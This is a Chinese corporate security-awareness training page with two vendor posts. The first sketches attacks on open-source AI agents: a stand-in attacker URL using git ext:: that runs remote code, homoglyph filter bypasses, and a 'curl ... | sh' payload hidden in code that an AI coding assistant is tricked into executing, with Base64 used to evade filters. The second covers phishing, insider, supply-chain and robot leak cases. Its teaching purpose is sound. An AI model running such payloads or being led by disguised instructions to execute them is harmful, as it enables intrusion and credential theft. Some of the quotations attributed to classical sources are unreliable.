Uncategorized

从“WhatsApp 伪装”到“GuardFall 零容忍”——信息安全意识的全景透视与行动指南

admin

前言：头脑风暴的火花，想象力的翅膀

在信息化浪潮汹涌而来的今天，企业的每一台服务器、每一段代码、甚至每一条即时通讯，都可能成为攻击者的跳板。若把信息安全想象成一座城池，那么漏洞就是城墙的裂缝，攻击者就是潜伏的刺客，而员工的安全意识则是守城的弓弦——只有拉满，才能在关键时刻发射致命的防御之箭。

今天，我们先抛出两个“假想的”案例——它们并非科幻，而是最近业界真实披露的高危漏洞与攻击手法的再现。通过这两段情景剧，我们希望在座的每一位同事都能在脑海里看到——如果是你，可能会陷入怎样的陷阱？如果是你，如何及时拔枪反击？

案例一：WhatsApp 伪装的调试请求，OpenClaw 被“一键”劫持

背景概述

OpenClaw 是一款在全球拥有超过 38 万星标、每日活跃用户近 10 万的开源 AI 代理整合平台，凭借其“一站式”调用 LLM、工具链、插件的能力，迅速成为企业内部“AI 助手”。2026 年 6 月 1 日发布的版本中，研究员 Chinmohan Nayak 发现了三项高危漏洞（GHSA‑hjr6‑g723‑hmfm、GHSA‑9969‑8g9h‑rxwm、GHSA‑575v‑8hfq‑m3mc），CVSS 评分在 8.4 – 8.8 之间。

攻击链详细拆解

  1. 诱导信息
    攻击者通过伪装成 “调试请求” 的 WhatsApp 消息，向使用 OpenClaw 的内部员工发送带有特定格式的链接。该消息看似普通的技术支持请求，实则暗藏命令。

  2. 环境变量过滤绕过（GHSA‑hjr6‑g723‑hmfm）
    OpenClaw 对外部输入的环境变量进行白名单过滤，但过滤机制仅检测变量名的显式形式。攻击者利用 Unicode 同形字符和 URL 编码，构造出形似白名单的变量名，从而让恶意变量顺利注入容器环境。

  3. Git ext:: 协议滥用（GHSA‑9969‑8g9h‑rxwm）
    OpenClaw 支持通过 ext:: 协议直接拉取远程仓库以加载插件。攻击者在 WhatsApp 链接中嵌入特制的 ext:: URL（如 ext::git://attacker.com/malicious.git@master#run），触发系统在未经过严格校验的情况下执行仓库中的恶意脚本。

  4. 沙箱父目录绕过（GHSA‑575v‑8hfq‑m3mc）
    为防止敏感文件泄露，OpenClaw 在容器层面拦截了 ~/.ssh、~/.aws 等目录的挂载。但其白名单策略允许运行时挂载 /home、/var，攻击者利用软链接把恶意可执行文件放在 /home/attacker/../var/tmp/evil.sh，从而逃逸沙箱。

  5. 任意代码执行
    结合上述三点，攻击者在目标机器上成功下载、解压并执行恶意二进制或脚本，获取根权限或在容器内部植入后门。

影响面与教训

  • 影响范围：所有在 2026.6.1 以前部署的 OpenClaw 环境，尤其是未及时升级的内部研发和客服系统。
  • 教训：
    1. 输入过滤绝非“一刀切”——仅匹配表面字符容易被同形攻击绕过。
    2. 第三方协议需全链路审计——ext:: 这类自定义协议在业务层面便利，却往往是薄弱环节。
      3 “看似友好”的即时通讯也可能是攻击渠道，切勿轻信来源不明的技术请求。

案例二：GuardFall “零容错”攻击——AI 开源代理的暗礁

背景概述

GuardFall 是一款针对开源 AI 代理（如 LangChain、AutoGPT、OpenClaw）而研发的攻击框架，2026 年 7 月的安全报告显示，它能在数秒内绕过多数基于 Shell 命令过滤 的防护。GuardFall 的核心思路是借助 LLM 的 “照单全收” 特性，将恶意指令包装成看似合法的自然语言请求，进而欺骗 AI 代理执行。

攻击链详细拆解

步骤 描述
1️⃣ 诱骗文本 攻击者在公共社区或内部 Slack 中投放 “示例代码”——一段看似普通的 Python 脚本，里边暗藏 os.system("curl ... | sh")。
2️⃣ LLM 解释 企业内部的 AI 编程助理（基于 OpenAI、Claude 等）被配置为自动解释并运行用户提交的代码片段。LLM 将恶意代码解释为 “执行系统更新”，并直接调用底层 Shell。
3️⃣ 过滤失效 传统的 Shell 命令过滤器只拦截显式的 curl、wget、bash 等关键词，但 GuardFall 使用 Base64 编码 + 变量拼接，让过滤器识别不到真实指令。
4️⃣ 沙箱逃逸 通过利用容器中未限制的 /proc 访问，攻击者提升至宿主机权限，植入持久化后门。
5️⃣ 横向渗透 获得宿主机权限后，攻击者利用已获取的 AWS / Azure 凭证进行云资源的横向渗透，进一步扩大攻击面。

影响面与教训

  • 影响范围：所有将 AI 编程助理直接集成到 CI/CD 流程、代码审查平台的组织。
  • 教训：
    1. AI 代理的“照单全收”必须配合业务逻辑与风险策略双重审计。
    2. 命令过滤要“深度学习”——不仅匹配关键词，还要识别变形、编码、组合手段。
    3. 沙箱与容器的最小化授权是根本，任何开放的挂载点都可能成为逃逸通道。

1. 信息安全的全景图：自动化、数字化、数据化的交织

“工欲善其事，必先利其器。”——《左传·僖公二十三年》

在数字化转型的大潮中，自动化脚本、机器人流程（RPA）、生成式 AI 已经渗透到研发、营销、客服乃至人事的每一个环节。自动化让业务更高效，却也在不经意间放大了 攻击面；数字化把纸质档案、手工流程搬进了云端，却让敏感数据“一键即得”；数据化让大数据分析成为决策利器，却让数据泄露风险呈指数级上升。

  • 自动化：CI/CD、IaC、容器编排工具（K8s、Docker）持续执行代码，若缺少安全审计，恶意代码将“自动化”地进入生产环境。
  • 数字化：企业内部知识库、项目管理系统（Jira、Confluence）通过 API 对接 AI 助手，若 API 权限控制不严，攻击者可利用API 滥用获取敏感信息。
  • 数据化：日志、监控、行为分析数据被集中到数据湖（Data Lake），若未加密或访问控制不完善，攻击者可直接“挖金矿”。

正如“滴水穿石，非力久也，积小流以成江海”，每一次微小的安全疏忽，都可能在多层自动化链路中被放大。我们必须在 技术、流程、文化 三个维度同步实现“安全先行”。

2. 为什么每一位职工都必须成为 “安全合伙人”

2.1 角色定位：从“工具使用者”到 “安全守门员”

传统角色 新时代角色
使用者 审计者：对每一次外部链接、脚本执行进行风险评估。
开发者 防御者：在代码中嵌入输入验证、最小权限原则。
运维 监控者：实时监控容器、CI/CD 流水线的异常行为。
管理层 决策者：为安全投入提供预算与政策支持。

2.2 数据泄露的真实代价——“看得见的损失”

  1. 直接经济损失：如勒索软件要挟、合规罚款（GDPR、个人信息保护法等），单起案件平均超 人民币 300 万。
  2. 间接声誉损失：客户信任度下降 15%~30%，导致后续业务流失。
  3. 机会成本：安全事件后的灾后恢复，往往占用 30%‑50% 的 IT 人员工时。

“得其所哉，危机常在。”——《史记·货殖传》提醒我们，危机往往潜伏于日常运营的细枝末节。

2.3 行动要点：六大安全基线

  1. 核查来源：对所有外部链接（尤其是即时通讯、邮件）进行二次验证，使用公司内部的 URL 过滤平台。
  2. 最小权限：容器、虚拟机、云资源的 IAM 策略必须遵循最小授权原则。
  3. 代码审计：CI/CD 流程加入 SAST/DAST，对每一次合并请求执行自动化安全扫描。
  4. 日志加密：日志聚合平台（ELK、Prometheus）必须启用传输层加密（TLS）和磁盘加密。
  5. 多因素认证：所有高危系统（Git、CI、云控制台）强制使用 MFA。
  6. 安全培训：每季度一次的模拟钓鱼演练与案例复盘，确保安全意识“随岗随养”。

3. 立即行动：信息安全意识培训即将开启

3.1 培训概览

模块 目标 时长 形式
威胁情报速递 了解最新攻击手法（如 OpenClaw、GuardFall） 1 h 在线直播 + 互动问答
安全编码实战 掌握输入过滤、最小权限、容器安全 2 h 案例演练 + 代码审查
SOC 基础 学会利用 SIEM 进行异常检测 1.5 h 实战演练
应急响应 熟悉 24/7 事件响应流程 1 h 案例复盘 + 案例推演
合规与审计 了解 GDPR、PIPL、ISO 27001 要求 0.5 h 讲座 + 小测
文化渗透 将安全理念植入日常沟通 0.5 h 圆桌讨论 + 角色扮演

“学而时习之，不亦说乎？”——《论语》
通过 “学—练—用” 三位一体的闭环学习，我们将把抽象的安全概念转化为可操作的工作习惯。

3.2 报名与奖励

  • 报名渠道：公司内部门户 → 安全培训 → 立即报名（限额 200 人）。
  • 完成奖励：成功完成全套课程的同事，将获得 “信息安全护航星” 电子徽章，并可在年度绩效评估中获得 安全加分。
  • 特别激励：前 50 名提交 “改进提案”（针对本公司业务的安全改进建议）的同事，可获得 价值 3000 元 的技术图书礼包。

3.3 参与即是防御

  • 个人层面：通过培训，你将获得漏洞评估、安全编码、安全日志分析等实战技能，能够在日常工作中主动识别风险。
  • 团队层面：安全是团队协同的产物。每一次 “安全对话” 都会让团队的防御深度提升一个层级。
  • 企业层面：全员参与的安全文化，是公司在监管审查、合规审计、客户谈判时最有力的 “护身符”。

4. 结语：让安全成为组织的“第二张皮”

从 OpenClaw 的 WhatsApp 伪装 到 GuardFall 的 AI 诱骗，我们看到的不是单一技术缺陷，而是一条贯穿 技术、流程、人员 的完整链条。正如《孙子兵法》所言：“兵贵神速”，在信息安全的战场上，快速感知、快速响应、快速恢复 才是取胜之道。

让我们从此刻起：
– 把每一条外部链接当作潜在的 “炸弹”，先检查后点击；
– 把每一次代码提交当作 “审计点”，坚持“一行代码一审计”；
– 把每一次安全培训视作 “战备演练”，用知识武装自己的大脑。

在自动化、数字化、数据化的浪潮中，每一位职工都能成为阻挡攻击者的“防火墙”。 只要我们共同努力，安全不会是“可选项”，而会成为组织健康发展的 “第二张皮”。

欢迎大家踊跃报名培训，让我们一起把“信息安全”从概念转化为行动，从纸面变为血肉，守护企业的数字未来。

—— 信息安全意识培训专员 敬上

昆明亭长朗然科技有限公司深知企业间谍活动带来的风险，因此推出了一系列保密培训课程。这些课程旨在教育员工如何避免泄露机密信息，并加强企业内部安全文化建设。感兴趣的客户可以联系我们，共同制定保密策略。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898

守护数字城堡：从四大案例看信息安全的“血与火”，共筑机器人时代的安全防线

admin

“安全是一面镜子，映照出组织的文化、技术和每个人的行为。”——《孙子兵法·谋攻》有云：“上兵伐谋，其次伐交，其次伐兵，其下攻城。”在信息化浪潮中，攻城不再是举兵冲锋，而是一次次看不见的“网络渗透”。今天，让我们先把思维的齿轮拧上油，进行一场头脑风暴，挑选出四个典型且深具教育意义的安全事件案例，用血肉之躯的教训，为即将开启的全员信息安全意识培训点燃火种。

案例一：钓鱼邮件引发的“勒索狂潮”——“奇妙的咖啡杯”事件

事件概述

2022 年 3 月，某大型制造企业的财务部收到一封主题为《2022 年第一季度财务报表分析 – 请审阅》的邮件。邮件正文附有一张看似公司内部 PowerPoint 的文件《财务分析.pptx》，实际却是被植入了恶意宏的文档。一名财务专员在未核实发件人真实身份的情况下直接打开，宏程序立即在本地执行，下载并加密了整个部门的共享盘数据，随后弹出勒索页面，要求支付比特币。

关键失误

  1. 缺乏对邮件发件人的多因素验证：财务专员仅凭表面地址判断为内部发件人，未使用公司邮件安全网关的安全标记。
  2. 宏安全设置未加固：Office 默认开启宏，且未对未知来源的宏进行禁用或沙箱执行。
  3. 缺少及时的备份和恢复方案：勒索后，因缺少离线备份，导致业务中断两天。

教训提炼

  • “假象是最好的伪装”：攻击者往往借助熟悉的业务名词、熟悉的文件格式，诱导员工放松警惕。
  • “每一次点击都是一次投票”：无论是打开附件、点击链接，都是对攻击者的支持。
  • “备份是最好的保险”：完善的离线、异地备份是对抗勒索的根本手段。

案例二：内部人泄密——“USB 侠”事件

事件概述

2021 年 11 月，某金融机构的研发部出现异常：一批核心算法代码在外部论坛被公开下载。经内部审计追踪，发现泄露源头是一名即将离职的资深工程师，他在离职前将公司内部服务器的关键代码复制至个人 U 盘，并在下班后偷偷带走。由于公司对外设的使用监管不严，U 盘在当晚被直接带出公司大门。

关键失误

  1. 对外设管理缺乏细粒度控制：USB 口没有物理封禁，也未采用端口访问控制系统（Port Security）进行实时监控。
  2. 离职流程安全审查不到位：离职前未进行关键资产交接、权限回收以及离职面谈。
  3. 代码版本管理系统权限分配过于宽松：该工程师拥有对核心仓库的写入、下载权限，未采用最小特权原则（Least Privilege）。

教训提炼

  • “最危险的敌人往往在内部”：内部人员在拥有合法访问的前提下，更容易绕过外部防线。
  • “离职不是告别，而是信息的交接点”：每一次离职，都必须视作一次安全审计的节点。
  • “技术加文化，方能筑牢防线”：技术手段（端口管控、权限最小化）必须配合安全文化（离职诚信宣誓、信息保密培训）共同发挥作用。

案例三：供应链攻击——“智能摄像头的暗门”事件

事件概述

2020 年底，某大型连锁超市的监控系统被黑客利用其采购的国产智能摄像头后门进行攻击。黑客通过摄像头的默认弱口令（admin/123456）登陆，随后植入特洛伊木马，使得摄像头成为僵尸网络的节点。更为惊人的是，黑客在摄像头的固件更新流程中植入后门代码，借此持续侵入超市的内部网络，最终窃取了上万条顾客的个人信息（包括购物记录、手机号、电子邮件）。

关键失误

  1. 采购时缺少供应链安全评估：对设备的安全性、固件更新机制未进行第三方渗透测试。
  2. 默认密码未及时更改：安装后自动使用出厂默认密码，导致攻击者轻易突破。
  3. 网络分段不足：摄像头与核心业务系统处于同一 VLAN，缺乏防火墙隔离。

教训提炼

  • “连环环节，缺一不可”：从采购、部署到运维，每一个环节都是潜在攻击面。
  • “默认即是后门”：任何产品出厂的默认设置都是攻击者的天然跳板。
  • “分段是安全的防火墙”：将 IoT 设备与核心业务系统进行网络隔离，是防止横向渗透的关键。

案例四：人工智能/机器人失控——“搬运机器人泄露机密”事件

事件概述

2023 年 5 月，某物流公司引入了具备自主导航与语音交互功能的搬运机器人，用于仓库内的货物搬运。机器人通过云端模型进行路径规划，并将作业日志上传至公司内部的 AI 平台。然而，由于平台对日志数据的访问控制仅基于“只读”和“读写”两级，导致机器人在执行任务时意外将仓库内部的高价值库存信息（包括商品条码、批次号、成本价）写入公开的共享目录。该目录被外部合作伙伴的第三方系统同步，导致信息在互联网上被爬取，竞争对手获得了公司的价格策略。

关键失误

  1. 机器人数据流缺乏细粒度权限：对不同数据类型未划分访问级别，仅使用宽泛的文件系统权限。
  2. 云端模型更新未进行安全审计：模型更新包未签名验证，导致潜在的恶意代码注入风险。
  3. 缺少对机器人行为的异常监测：机器人异常写入高价值数据没有触发告警。

教训提炼

  • “智能不是万能的，安全必须先行”：AI/机器人系统的快速迭代，易忽视最基本的访问控制。
  • “每一次数据流动，都需审计”：无论是本地日志还是云端模型，都必须进行完整的审计链追踪。
  • “异常即是信号灯”：对机器人/AI 系统的行为进行实时监控，是防止数据泄露的最后一道防线。

把案例转化为行动——从血的教训到安全的未来

1. 从思考到行动：信息安全是全员的共同责任

在上述四个案例中，攻击者或泄露者的共性不在于技术层面的高深莫测，而在于人——人的疏忽、人的选择、人的行为。当技术手段成为“高墙”时，若没有相对应的安全文化做支撑，仍旧会出现漏洞。因此，信息安全不仅是 IT 部门的事，更是每一位职工的日常职责。

正如《大学》所云：“格物致知，诚意正心”，在数字化的今天，格物是指对系统、设备、数据的深入了解；致知是对安全风险的认识；诚意正心则是每个人对信息安全的真诚守望。

2. 机器人化、具身智能化、无人化的融合趋势：安全挑战的升级版

####（1）机器人化
随着自动化搬运机器人、巡检机器人等在工厂、仓库、办公区的普及，“机器人即终端”的概念日益凸显。机器人不仅是硬件，更是与云端 AI 平台深度耦合的软硬件系统，它们的身份验证、权限管理、固件更新都必须纳入安全治理体系。

####（2）具身智能化
具身智能（Embodied AI）使得机器能够感知、学习并在物理世界中作出决策。从视听感知到语音交互，每一次感知都是一次信息采集，若未对感知数据进行加密与访问控制，极易成为隐私泄露的突破口。

####（3）无人化
无人仓库、无人配送车的出现，让 “无人即无人监管” 成为潜在风险。无人系统一旦被攻破，后果从业务中断到供应链泄密，甚至波及企业声誉与法务风险。

因此，面对机器人化、具身智能化、无人化的融合发展，我们必须从 “硬件可信、软件安全、数据防护、行为监控” 四个维度，构建全链路安全防御体系。

3. 积极参与信息安全意识培训：从“被动防御”到“主动防护”

3.1 培训目标

  • 认知提升：让每位职工了解最新的攻击手法与防御思路，强化对钓鱼、内部泄密、供应链安全、AI 失控等风险的感知。
  • 行为养成：通过情景模拟、案例复盘、实战演练，培养安全的操作习惯（如双因素认证、端口封禁、最小权限原则等）。

  • 技能实操：掌握使用公司安全工具（如邮件安全网关、数据加密软件、日志审计平台）的基本方法，提升自助排查和响应能力。
  • 文化渗透：将安全意识融入日常工作流程，形成“安全第一、风险自查、及时上报”的组织氛围。

3.2 培训形式

  1. 线上微课程：采用短视频+交互式测验，每节 5–7 分钟，适合碎片化学习。
  2. 线下实战工作坊：邀请资深渗透测试工程师现场演示攻击路径，现场演练“钓鱼邮件识别、USB 设备封禁、IoT 设备安全配置”。
  3. 情景演练与“红蓝对抗”：组织内部红队模拟攻击，蓝队进行实时响应，赛后分析报告强化学习。
  4. 案例研讨会：以本篇文章列出的四大案例为蓝本，分小组讨论“如果你是负责人，你会怎么做”，并形成改进建议。

3.3 参与奖励机制

  • 积分制：完成每一模块的学习与测评，获取相应积分，累计积分可兑换公司内部福利（如加班调休、学习基金等）。
  • 安全之星：每季度评选“信息安全之星”，对在日常工作中主动发现安全隐患、提出有效改进措施的职工进行表彰与物质奖励。
  • 成长路径：通过培训体系，可获得公司信息安全认证（如 CISSP 入门、CCSP 基础），为职业发展提供加分项。

四、实践指南：从个人到组织的安全行动清单

个人层面（每位职工必做的七件事）

序号 行动 关键要点
1 邮件安全 对陌生发件人使用 “邮件安全网关”标记；不随意打开宏文件；遇到疑似钓鱼邮件立即报告。
2 密码管理 启用公司统一的密码管理器；开启双因素认证（SMS、APP、硬件令牌均可）。
3 移动存储 禁止使用未授权的 USB 设备；如需使用，先在 IT 部门登记并通过扫描仪进行病毒检查。
4 设备更新 确保操作系统、办公软件、机器人终端的固件均为最新版本；开启自动更新。
5 数据加密 对敏感文件、邮件使用公司提供的加密工具（如 AES‑256 加密）；不在公共网络传输明文数据。
6 行为审计 定期查看个人登录日志、文件访问记录，如发现异常立即上报。
7 安全学习 通过公司培训平台定期学习安全知识，参加线上测验保持警惕度。

部门层面（各业务单元的安全守则）

  1. 风险评估与分级：对业务系统进行 annually 风险评估，将系统分为“核心、重要、普通”三类，分级制定防护措施。
  2. 最小特权原则：每个岗位仅分配完成工作所需的最小权限，定期审计权限使用情况。
  3. 网络分段：将 IoT 设备、机器人终端独立划分 VLAN，采用防火墙进行严格访问控制。
  4. 供应链安全审查：对采购的硬件、软件进行安全合规检查，要求供应商提供安全测试报告。
  5. 日志统一收集：所有关键系统（ERP、CRM、机器人平台）的日志统一上报至 SIEM 平台，开启异常告警。
  6. 应急响应预案：针对勒索、数据泄露、机器人失控等情景制定 SOP，并每半年进行一次演练。

组织层面（公司整体的安全治理框架）

  • 安全治理委员会：由信息安全、业务、法务、HR、技术四大部门代表组成，负责制定安全策略、审议重大安全事件。
  • 安全技术平台：统一部署邮件网关、终端防护、数据防泄漏（DLP）、身份与访问管理（IAM）等安全产品，形成技术防线。
  • 安全文化建设：每月开展安全主题讲座，利用内部公众号、海报、短视频等多渠道宣传安全案例，营造“安全人人有责”的氛围。
  • 合规与审计：遵循《网络安全法》、《个人信息保护法》等法律法规，完成年度内部审计并接受第三方评估。
  • 创新与前瞻：关注 AI/机器人安全技术的前沿发展，投入研发可信 AI、边缘安全监测等前瞻性项目。

五、呼吁：让每一次点击、每一次部署、每一次数据流动，都有安全的“护身符”

各位同事，信息安全不是遥不可及的高塔，也不是只属于技术部门的专属领域。它是每一次邮件的标记、每一次 USB 的检查、每一次机器人日志的审计，是每一位职工对企业财富的守护。正如古语所言：“千里之堤，溃于蚁穴”。一次微小的安全疏忽，可能导致整个系统的崩塌；一次细致的安全自查，却能在危机来临前搭起防波堤。

在机器人化、具身智能化、无人化的大潮中，我们的工作环境正一步步迈向“智能化+互联化”。这为效率和创新带来了前所未有的机遇，也给安全带来了更为复杂的挑战。只有 把安全思维深植于每一台机器人、每一段代码、每一次业务流程，才能在竞争激烈的市场中保持稳健前行。

让我们共同开启的行动号角

  1. 马上报名：从本月起，公司将开启为期四周的信息安全意识培训，所有职工均须完成。报名渠道已在内部系统上线，席位有限，先到先得。
  2. 制定个人安全计划：参训结束后，请在两周内提交个人安全提升计划（包括学习目标、改进措施），并与直属主管对齐。
  3. 参与安全演练：每季度组织一次“安全红蓝对抗”，邀请全体职工以团队形式参加，检验学习成果。
  4. 共享安全经验：在内部安全社区发布你的安全故事（如识别一次钓鱼邮件、成功阻止一次内部泄密），优秀案例将获得公司奖励。

以史为鉴，以技为盾：我们将过去的血的教训转化为今天的防御元件，让每一位员工都成为信息安全的“钢铁侠”。让我们在机器人与人工智能的时代，携手共筑数字城堡，守护企业的每一份数据、每一笔资产、每一份信任。

信息安全，人人有责；安全文化，持续进化。 期待在即将开启的培训课堂上，与大家共同探索、共同成长，让安全的光芒照亮我们的每一天。

昆明亭长朗然科技有限公司是国内定制信息安全培训课程的领先提供商，这一点让我们与众不同。我们通过提供多种灵活的设计、制作与技术服务，来为帮助客户成功地发起安全意识宣教活动，进而为工作人员做好安全知识和能力的准备，以便保护组织机构的成功。如果您有相关的兴趣或需求，欢迎不要客气地联系我们，预览我们的作品，试用我们的平台，以及洽谈采购及合作事宜。

  • 电话：0871-67122372
  • 微信、手机：18206751343
  • 邮件：info＠securemymind.com
  • QQ: 1767022898